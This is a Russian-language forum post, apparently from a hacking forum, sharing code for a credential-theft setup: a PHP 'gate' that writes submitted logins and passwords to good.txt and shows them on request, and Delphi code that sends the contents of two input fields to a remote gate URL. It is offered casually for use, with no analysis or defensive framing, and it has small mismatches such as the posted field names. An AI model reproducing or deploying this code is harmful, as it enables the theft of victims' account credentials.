
10.03.2010, 21:46
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами:
8582863
Репутация:
69
|
|
чуваки))) двайе не будем мозги ипать)))
вот код для отправки на гейт))
вод код гейта
PHP код:
<?php
error_reporting(0);
$accs = 'good.txt';
$good = fopen($accs,"a+");
if(!empty($_POST['login']) && !empty($_POST['password'])) {
fwrite($good, "$_POST[login]:$_POST[password]\n");
}
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
вот код отправки
Код:
uses idHTTP;
procedure Button1Click(sener: TObject);
var
HTTP: TidHTTP;
Data: TStringList;
begin
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
with Data do
begin
Add('login=' + edit1.text);
Add('pass=' + edit2.text);
end;
HTTP.Post('http://site.ru/gate.php', Data);
Data.Free;
HTTP.Free;
end;
|
|
|